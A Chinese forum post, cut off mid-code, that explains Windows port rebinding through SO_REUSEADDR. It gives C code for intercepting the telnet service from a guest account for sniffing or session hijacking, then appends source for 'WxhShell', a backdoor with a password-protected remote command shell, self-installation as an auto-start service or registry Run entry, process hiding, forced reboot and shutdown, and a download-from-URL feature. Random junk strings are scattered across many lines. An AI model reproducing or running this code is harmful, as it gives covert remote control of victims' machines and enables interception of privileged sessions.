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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t| 9 GS|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]Pry>N3G5  
B;R.#^@/  
  saddr.sin_family = AF_INET; /CuXa%Ci^  
HS{(v;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Dq36p${ \W  
}Ow>dV?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {GKy'/[  
rgSOS-ox  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G2]4n T  
Pt@%4 :&-h  
  这意味着什么?意味着可以进行如下的攻击: OkCQ?]  
KhCzD[tf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aFe`_cnG  
T[,/5J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L KCb_9  
ddfs8\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f6_];]yP  
vKq^D(&cl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "6R 5+  
RlqQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i^_#%L  
{/X4(;~0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PzV@umC1#f  
Mn$]I) $  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yC3yij<oR  
`6[I^qG".  
  #include S#-wl2z  
  #include ?Zc"C  
  #include :Gu+m  
  #include    cooUE<a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,bM-I2BR  
  int main() n:0}utU4  
  { rwniOQe  
  WORD wVersionRequested; 5GA\xM-  
  DWORD ret; "+z?x~rk  
  WSADATA wsaData; Tx 1 vL  
  BOOL val; Ul_M3"Z  
  SOCKADDR_IN saddr; :LWn<,4F&  
  SOCKADDR_IN scaddr; DbZ0e5  
  int err; Ja]?&j  
  SOCKET s; q;fKcblKj  
  SOCKET sc; Z<#hS=eY  
  int caddsize; 7_wJpTz  
  HANDLE mt; u>Rb ?`  
  DWORD tid;   ^9_U Uzf\  
  wVersionRequested = MAKEWORD( 2, 2 ); WEa2E?*  
  err = WSAStartup( wVersionRequested, &wsaData ); X; 5Jb  
  if ( err != 0 ) { )jCo%P/  
  printf("error!WSAStartup failed!\n"); &m {kHM  
  return -1; tM,%^){p$  
  } :^'O}2NP  
  saddr.sin_family = AF_INET; h 6%[q x<  
   `gpQW~*R-;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `k; KBW  
? b[n|^wS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -ZW3  
  saddr.sin_port = htons(23); <]Wlx`=/D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EQIUSh)M  
  { RGIoI ]_  
  printf("error!socket failed!\n"); ?\/qeGW6G  
  return -1; Jz:r7w{4eB  
  } -h-oMqgu(  
  val = TRUE; 'r} zY-FM`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GIftrYr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 451'>qS  
  { EPX8Wwf  
  printf("error!setsockopt failed!\n"); ' )-M\'S$E  
  return -1; 85|fyX  
  } pO~c<d}b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z[#Fog  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2X88:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'R9g7,53R  
bm}6{28R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q (+ZwaV@  
  { ogeL[7  
  ret=GetLastError(); m-V02's  
  printf("error!bind failed!\n"); `C_'|d<HA  
  return -1; h:/1X' 3d  
  } Ybg- "w  
  listen(s,2); 8[bkHfI  
  while(1) p" `%  
  { -Dzsa  
  caddsize = sizeof(scaddr); Ep~wWQh  
  //接受连接请求 x`Fjf/1T*m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gJ3c;  
  if(sc!=INVALID_SOCKET) -DO&_`kn  
  { *s)}Bj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :Dl% _l  
  if(mt==NULL) LD(C\  
  { >O]s&34  
  printf("Thread Creat Failed!\n"); fP%Fyg^k  
  break; ujgLJ77  
  } UQd6/mD`e  
  } N<JHjq  
  CloseHandle(mt); xi'<y  
  } ';RI7)<  
  closesocket(s); )u@c3?$6  
  WSACleanup(); Erb Sl  
  return 0; yu&Kh4AP  
  }   X QbNH~  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;?IT)sNY  
  {  s&*yk p  
  SOCKET ss = (SOCKET)lpParam; V`fL%du,3  
  SOCKET sc; i (HByI  
  unsigned char buf[4096]; A%ywj'|z  
  SOCKADDR_IN saddr; e^e$mtI  
  long num; B} *V%}:)  
  DWORD val; !Qu PG/=X  
  DWORD ret; +lp{#1q0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9Z!lmfnJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]TK=>;&  
  saddr.sin_family = AF_INET; \3{3ly~L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,5-Zb3\  
  saddr.sin_port = htons(23); (:$9%,x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ++92:decM  
  { dl[ob,aCK  
  printf("error!socket failed!\n"); ` %' z  
  return -1; 9[>Lp9l'  
  } t*+! n.p  
  val = 100; 4DML  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3sC: jIp  
  { B!q?_[k,  
  ret = GetLastError(); q]v,  
  return -1; I]sqi#h$2W  
  } f4]&pcK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J%r7<y\  
  { &,uC9$  
  ret = GetLastError(); Ff/Ig]Lb  
  return -1; Ve:&'~F2 s  
  } 5LMj!)3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5!:._TcO  
  { >6K4b/.5w  
  printf("error!socket connect failed!\n"); 'jbMTI  
  closesocket(sc); fu>Qi)@6a1  
  closesocket(ss); FrR9{YTA .  
  return -1; %<S7  
  } F^TAd  
  while(1) _SF!T6A  
  { jlRS:$|R0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -RCv7U`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D5[VK `4Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (1y='L2rj  
  num = recv(ss,buf,4096,0); zPE#[\O21B  
  if(num>0) {3 SdX  
  send(sc,buf,num,0); ![q }BU4  
  else if(num==0) %g-0O#8}  
  break; P7Z<0Dt\}  
  num = recv(sc,buf,4096,0); <"NyC?b+G  
  if(num>0) G* Ib^;$u  
  send(ss,buf,num,0); .r6YrB@['  
  else if(num==0) T"A^[ r*  
  break; 6#?NL ]A  
  } g?$e^ls  
  closesocket(ss); 6o9sR)c ?  
  closesocket(sc); xrX?ZJ  
  return 0 ; hC|KH}aCR)  
  } jXH0BPa,  
|Pj9ZG#  
(-#rFO5~l  
========================================================== $KH@,;Xz  
cC' ^T6  
下边附上一个代码,,WXhSHELL 2Z-,c;21  
/W?z0tk`  
========================================================== @qpYDnJ:  
JgxA^>|9;  
#include "stdafx.h" `J]<_0kX}%  
wFn@\3%l`  
#include <stdio.h> QQSH +  
#include <string.h> qYDj*wqf  
#include <windows.h> Y]M^n&f  
#include <winsock2.h> EK:Y2WZ  
#include <winsvc.h> vx PDC~3;  
#include <urlmon.h> jaL$LJV  
s&Z35IM8|  
#pragma comment (lib, "Ws2_32.lib") HgS<Vxmq  
#pragma comment (lib, "urlmon.lib") %f>X-*}NI-  
v hR twi  
#define MAX_USER   100 // 最大客户端连接数 Ny]'RS-  
#define BUF_SOCK   200 // sock buffer 1mY+0  
#define KEY_BUFF   255 // 输入 buffer Bmi:2} j  
<!$dp9y.  
#define REBOOT     0   // 重启 mL8A2>Gig  
#define SHUTDOWN   1   // 关机 #: dR^zr<  
s+(l7xH$  
#define DEF_PORT   5000 // 监听端口 d*]Dv,#X  
u'#`yTB6b  
#define REG_LEN     16   // 注册表键长度 iLjuE)6-$  
#define SVC_LEN     80   // NT服务名长度 o(?VX`2"  
_ .-o%6  
// 从dll定义API 2Px$0&VN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6#OL ;Y]_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lNq:JVJ#\r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m OwWg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HVtr,jg  
=}B4I  
// wxhshell配置信息 ; ,Of\Efc|  
struct WSCFG { Y\+(rC27  
  int ws_port;         // 监听端口 :;" aUHU'  
  char ws_passstr[REG_LEN]; // 口令 e{^:/WcYB  
  int ws_autoins;       // 安装标记, 1=yes 0=no TBoM{s=.  
  char ws_regname[REG_LEN]; // 注册表键名 ^4y(pcD  
  char ws_svcname[REG_LEN]; // 服务名 D[?k ,*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2rPcNh9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /}h71V!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {^PO3I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B2ek&<I7N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f_Wkg)g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2VoEQ  
*" |VNnB  
}; z5|e\Z  
UFzM#  
// default Wxhshell configuration FgFJ0fo  
struct WSCFG wscfg={DEF_PORT, -13P 2<i+  
    "xuhuanlingzhe", 8`L#1ybMO  
    1, (T>?8 K _d  
    "Wxhshell", y(aAp.S>  
    "Wxhshell", 1Pw(.8P  
            "WxhShell Service", 7G<KrKal  
    "Wrsky Windows CmdShell Service", 78^UgO/  
    "Please Input Your Password: ", Zq\RNZ}  
  1, imJ[:E  
  "http://www.wrsky.com/wxhshell.exe", =sUl`L+w,L  
  "Wxhshell.exe" #Lhj0M;a  
    }; xN{"%>Mx  
+q`rz  
// 消息定义模块 Vid{6?7kh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `wn<3#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4."o.:8x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]<\;d B  
char *msg_ws_ext="\n\rExit."; 3$96+A^M*  
char *msg_ws_end="\n\rQuit."; \GbHS*\+  
char *msg_ws_boot="\n\rReboot..."; Q}=W>|aE.  
char *msg_ws_poff="\n\rShutdown..."; ^.Ih,@N6  
char *msg_ws_down="\n\rSave to "; $ +GFOO  
(_i vN  
char *msg_ws_err="\n\rErr!"; )$l9xx[  
char *msg_ws_ok="\n\rOK!"; 7 BnenHD  
.%J?T5D  
char ExeFile[MAX_PATH]; .@8m\  
int nUser = 0; qmue!Fv#g  
HANDLE handles[MAX_USER]; R$T[%AGZ.  
int OsIsNt; YP$*;l  
f'zU^/$rf  
SERVICE_STATUS       serviceStatus; !UgUXN*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #2lvfR|  
:cmI"Bo  
// 函数声明 |$SvD2^  
int Install(void); z[KN^2YS  
int Uninstall(void); ^M"=A}h  
int DownloadFile(char *sURL, SOCKET wsh); evg 7d  
int Boot(int flag); MWn L#!  
void HideProc(void); SILvqm  
int GetOsVer(void); VM2@{V/=~  
int Wxhshell(SOCKET wsl); &JXHDpd$a^  
void TalkWithClient(void *cs); S$lmEJ_  
int CmdShell(SOCKET sock); [oU+b(  
int StartFromService(void); _r?;lnWx@  
int StartWxhshell(LPSTR lpCmdLine); u7Y'3x,`  
fN"oa>X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "k6IV&0 3x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); io+7{B=u$  
-t~B@%  
// 数据结构和表定义 +U_-Lq )  
SERVICE_TABLE_ENTRY DispatchTable[] = @)2V"FE4i  
{ yd2qf  
{wscfg.ws_svcname, NTServiceMain}, @DQ"vFj6<  
{NULL, NULL} <v7KE*#  
}; q5\LdI2  
J6["j   
// 自我安装  oRbYna?J  
int Install(void) iQ]c k-  
{ aWsKJo>j[#  
  char svExeFile[MAX_PATH]; WtdkA Sj  
  HKEY key; 18/@:u{  
  strcpy(svExeFile,ExeFile); zIQc#F6\5  
\(>$mtS:  
// 如果是win9x系统,修改注册表设为自启动 w)m0Z4*  
if(!OsIsNt) { Tx!m6B`Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }AsF\W+5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GY$?^&OO>  
  RegCloseKey(key); $W_o$'crW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + $a:X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U)w|GrxX  
  RegCloseKey(key); dzv,)X  
  return 0; dYqDL<se/I  
    } Tvx8l m '  
  } ot+~|Dl  
} ?jn6Op  
else { TnU$L3k  
gAUQQ  
// 如果是NT以上系统,安装为系统服务 s^t1PfP(,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /GSI.tO  
if (schSCManager!=0) YlcF-a  
{ IV)W|/.  
  SC_HANDLE schService = CreateService ty< tv|p  
  ( S5 nw  
  schSCManager, Lr\ B  
  wscfg.ws_svcname, :kx#];2i  
  wscfg.ws_svcdisp, *-!ndbf  
  SERVICE_ALL_ACCESS, cf!k 9x9Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iM/0Yp-v'>  
  SERVICE_AUTO_START, 3N%Ev o  
  SERVICE_ERROR_NORMAL, Rw{v"n  
  svExeFile, \\G6c4 fC  
  NULL, /~rO2]rZ@  
  NULL, G~tOCp="p  
  NULL, LLHOWD C(2  
  NULL, / bu<,o  
  NULL FuiW\=^  
  ); n03SX aU~V  
  if (schService!=0) z+D,:!yF  
  { c^WBB$v  
  CloseServiceHandle(schService); u R%R]X  
  CloseServiceHandle(schSCManager); 6:z&ukq E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i8 ):0  
  strcat(svExeFile,wscfg.ws_svcname); ,L:)ZZgN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +;iesULXn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 446hrzW>@  
  RegCloseKey(key); BBJ]>lQ  
  return 0; f vM3.P  
    } EF=D}"E6pO  
  } ~S>ba']  
  CloseServiceHandle(schSCManager); /aa;M*Qp  
} BrcXn@tl  
} -*l[:5m  
<~X6D?  
return 1; 1sLfjH hv  
} ']Xx#U N  
 Q<ExfJm  
// 自我卸载 "K!BJQ  
int Uninstall(void) #=#$b_6*  
{ VEEeQy  
  HKEY key; fDHISJv  
3&Rqz9W  
if(!OsIsNt) { ^JDV4>S\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R.`J"J0/~  
  RegDeleteValue(key,wscfg.ws_regname); F_ Cz  
  RegCloseKey(key); FOG+[v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G&3<rT3Ib  
  RegDeleteValue(key,wscfg.ws_regname); esFL<T  
  RegCloseKey(key); =xet+;~ji  
  return 0; O~ 0 1)%  
  } BD#;3?|  
} ^v5hr>m  
} A3pQ?d[  
else { N,Bs% p#1  
aKtTx~$@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F|Ihq^q  
if (schSCManager!=0) 8|Y^Jn\p5u  
{ BVp.A]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ppP?1Il`kb  
  if (schService!=0) }PL  
  { o9\m? ~g!E  
  if(DeleteService(schService)!=0) { bLF0MVLM  
  CloseServiceHandle(schService); !|c5@0Wr  
  CloseServiceHandle(schSCManager); hzo,.hS's  
  return 0; H,~In2Z  
  } l'\b(3JF  
  CloseServiceHandle(schService); @cGql=t  
  } FCJ(D!  
  CloseServiceHandle(schSCManager); |c/rHEZ  
} ^D[;JV  
} ,SwaDWNO  
e'&{KD,-T  
return 1; o2jB~}VMl  
} lGhUfhk  
y<(.,Nb8  
// 从指定url下载文件 9E?>B3t^  
int DownloadFile(char *sURL, SOCKET wsh) 3R .cj  
{ ?3N86Qj  
  HRESULT hr; ~A4WuA  
char seps[]= "/"; ]NsaFDi\  
char *token; 9 `&D  
char *file; m 0PF"(  
char myURL[MAX_PATH]; #JucOWxjY  
char myFILE[MAX_PATH]; M-|2W~YU  
)&-E@% \  
strcpy(myURL,sURL); \_bX2Lg  
  token=strtok(myURL,seps); Yg.u8{H  
  while(token!=NULL) 0fU>L^P_?  
  { LJ3UB  
    file=token; 6suc:rp";  
  token=strtok(NULL,seps);  t m?  
  } PQr N";+  
8<!9mgh  
GetCurrentDirectory(MAX_PATH,myFILE); m=V2xoMw6  
strcat(myFILE, "\\"); # 95/,k  
strcat(myFILE, file); lUd,-  
  send(wsh,myFILE,strlen(myFILE),0); ^5}3FvW  
send(wsh,"...",3,0); _A r ,]v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t:7jlD!d  
  if(hr==S_OK) "o^zOU  
return 0; $49tV?q5  
else ZT#G:a  
return 1; VuW19-G  
`( Gk_VAa  
} }.zn:e  
[-ecKPx  
// 系统电源模块 u 36;;z  
int Boot(int flag) iy9]Y5b   
{ H<"j3qt  
  HANDLE hToken; uItKsu  
  TOKEN_PRIVILEGES tkp; I<U 1V<g  
N}= - +E|  
  if(OsIsNt) { O"Q=66.CR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); , +^db)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qDW/8b\^  
    tkp.PrivilegeCount = 1; Zj;!7ZuT1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fz% n!d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iDsjIW\j  
if(flag==REBOOT) { rIb{=';  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 14R))Dz"  
  return 0; LmE-&  
} B|&<  
else { $B2@mC([S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MgekLP )&  
  return 0; 5cU8GgN`  
} By9/tB  
  } *bx cq  
  else { sMx\WTyz  
if(flag==REBOOT) { 21qhlkdc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I}X8-WFB  
  return 0; ]+8,@%="  
} e_I 8Jj4  
else { fu/c)D6u*m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xqy{=:0  
  return 0; |8B[yr.b  
} KB^IGF  
} "'Q:%_;  
-Da_#_F  
return 1; B06/mKZ7  
} `PL!>oa(8  
-l",!sV  
// win9x进程隐藏模块 f}apn=  
void HideProc(void) "7g: u-  
{ 8HzEH-J   
}\W3a_,v)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); . XmD[=  
  if ( hKernel != NULL ) z)26Ahm TV  
  { D"MNlm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8P .! q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oj:`r*z43  
    FreeLibrary(hKernel); ?@nu]~  
  } iG ;6e~p  
d+(~{xK:  
return; Y4_i=}\*vf  
} p7*\]HyE)  
O@[q./VV,  
// 获取操作系统版本 Q~9:}_@  
int GetOsVer(void) qRUz;M4  
{ h3:k$`_  
  OSVERSIONINFO winfo; {E9Y)Z9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cX*^PSM  
  GetVersionEx(&winfo); G -;Yua2\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |y]#-T?)t  
  return 1; d; M&X!Y  
  else Rk'Dd4"m ,  
  return 0; u@o3p*bQ  
} pY2nv/  
D@2Tx  
// 客户端句柄模块 Z#F2<*+Pe  
int Wxhshell(SOCKET wsl) !v^D j']  
{ ?.T=(-  
  SOCKET wsh; d.{RZq2cp  
  struct sockaddr_in client; a`T{ 5*@  
  DWORD myID; ?0%lB=qQ  
DzYno -]A]  
  while(nUser<MAX_USER) Cc=`:ED+  
{ x>t:&Y M  
  int nSize=sizeof(client); c!I> _PD`&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s?=J#WV1y  
  if(wsh==INVALID_SOCKET) return 1; k\EMO\je  
lVqvS/_k$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t?/#:J*_7  
if(handles[nUser]==0) 5SDHZ?h  
  closesocket(wsh); HMBxj($eR  
else  yXDf;`J  
  nUser++; m86w{b$8  
  } %N!Y}$y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1{DHlyA6g  
g6N{Z e Wg  
  return 0; T IS}'c'C  
} I@[.W!w  
MJK L4 G  
// 关闭 socket eX}uZR  
void CloseIt(SOCKET wsh) BM:je(*p  
{ lT*Hj.  
closesocket(wsh); 27;*6/>,  
nUser--; k{9s>l~'  
ExitThread(0); 1MOQ/N2BR  
} NK d8XQ=%  
&C?]n.A  
// 客户端请求句柄 8on2 BC2  
void TalkWithClient(void *cs) O"Ar3>   
{ ^f>+5G  
H]YPMG<  
  SOCKET wsh=(SOCKET)cs; RM,r0Kv17Y  
  char pwd[SVC_LEN]; JgEpqA12  
  char cmd[KEY_BUFF]; MA"DP7e?v  
char chr[1]; pi+m`O   
int i,j; C7,Ol0`v  
y\Zx {A[  
  while (nUser < MAX_USER) { z$;z&X$j  
Dk8" H >*  
if(wscfg.ws_passstr) { h@l5MH=|%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RBiDU}j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @TsOc0?-  
  //ZeroMemory(pwd,KEY_BUFF); NO"=\Zn6  
      i=0; KUZ'$oKg  
  while(i<SVC_LEN) { -cEjB%Neo  
u|APx8?"o  
  // 设置超时 p)d'yj  
  fd_set FdRead; 6wfCC,2  
  struct timeval TimeOut; t<x0?vfD  
  FD_ZERO(&FdRead); W~FcU+a  
  FD_SET(wsh,&FdRead);  H 2\KI(  
  TimeOut.tv_sec=8; Fb VtyQz  
  TimeOut.tv_usec=0; r `VKb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _=8x?fC:rl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O0c#-K.f  
o|(-0mWBQA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (+(YO\ng6  
  pwd=chr[0]; [{- Oy#T<  
  if(chr[0]==0xd || chr[0]==0xa) { [@_}BZk  
  pwd=0; yiiYq(\{  
  break; %jim] ]<S[  
  } G)M9to  
  i++; Zm^4p{I%o*  
    } c{7!:hi`x  
},e f(  
  // 如果是非法用户,关闭 socket .{*V^[.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d7qHUx'=z  
} Ft#d & I  
m:.ywiw=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wZ5 + H%x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f^Lw3|rq4  
DI"mi1ObE  
while(1) { )E'iC  
oyiEOC  
  ZeroMemory(cmd,KEY_BUFF); 8.ll]3))  
%tT&/F  
      // 自动支持客户端 telnet标准   H~^am  
  j=0; PTXy:>]M  
  while(j<KEY_BUFF) { TL U^ad#9E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ML^c-xY(  
  cmd[j]=chr[0]; T XWi5f[  
  if(chr[0]==0xa || chr[0]==0xd) { a2 e-Q({  
  cmd[j]=0; N=YRYU o  
  break; s+8 v7ZJ  
  } q["CT&0  
  j++; $*tq$DZ4&  
    } h/j+ b.|  
R_e{H^pY^  
  // 下载文件 PMebn$(  
  if(strstr(cmd,"http://")) { ^F"Q~?D)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fc% @  
  if(DownloadFile(cmd,wsh)) > SU2Jw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W9D]s~bO;  
  else C0eP/d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _@3@_GE  
  } nlQ<Aa-%  
  else { C0|<+3uND=  
N{U``LV  
    switch(cmd[0]) { Xt %;]1n  
  %6}S1fuA  
  // 帮助 \BOZhXfl'  
  case '?': { '8R5?9"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wuSp+?{5k  
    break; u=JI 1  
  } RcIGIt  
  // 安装 t."hAvRL  
  case 'i': { s-!Bpr16o0  
    if(Install()) gJ6 C&8tl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F:"<4hiA"  
    else a;jXMR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /B73|KB+  
    break; 03Pa; n  
    } g} 7FR({b  
  // 卸载 sDL@e33Yb  
  case 'r': { 9tvLj5~  
    if(Uninstall()) <2Lcy&w_M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TR/'L!EE  
    else {%.FIw k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0]8/)  
    break; _C$JO   
    } sS/#)/B  
  // 显示 wxhshell 所在路径 Rd7Xs  
  case 'p': { ,iY/\ U''  
    char svExeFile[MAX_PATH]; ~0aWjMc(>  
    strcpy(svExeFile,"\n\r"); ]:m>pI*z.  
      strcat(svExeFile,ExeFile); d~1Nct$:  
        send(wsh,svExeFile,strlen(svExeFile),0); pCS2sq8RC  
    break; 6m"_=.k%  
    } %T4htZa  
  // 重启 b1Bu5%bt,:  
  case 'b': { KLK '_)|CT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i>#[*.|P  
    if(Boot(REBOOT)) qfE>N?/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =LEKFXqM  
    else { !g{9]"Z1T  
    closesocket(wsh); f|G,pDL x  
    ExitThread(0); @|! 9~F  
    } eJFGgJRIvF  
    break; %y ;E1pva  
    } (jv!q@@2C.  
  // 关机 a=}JW]  
  case 'd': { 3#o!K  
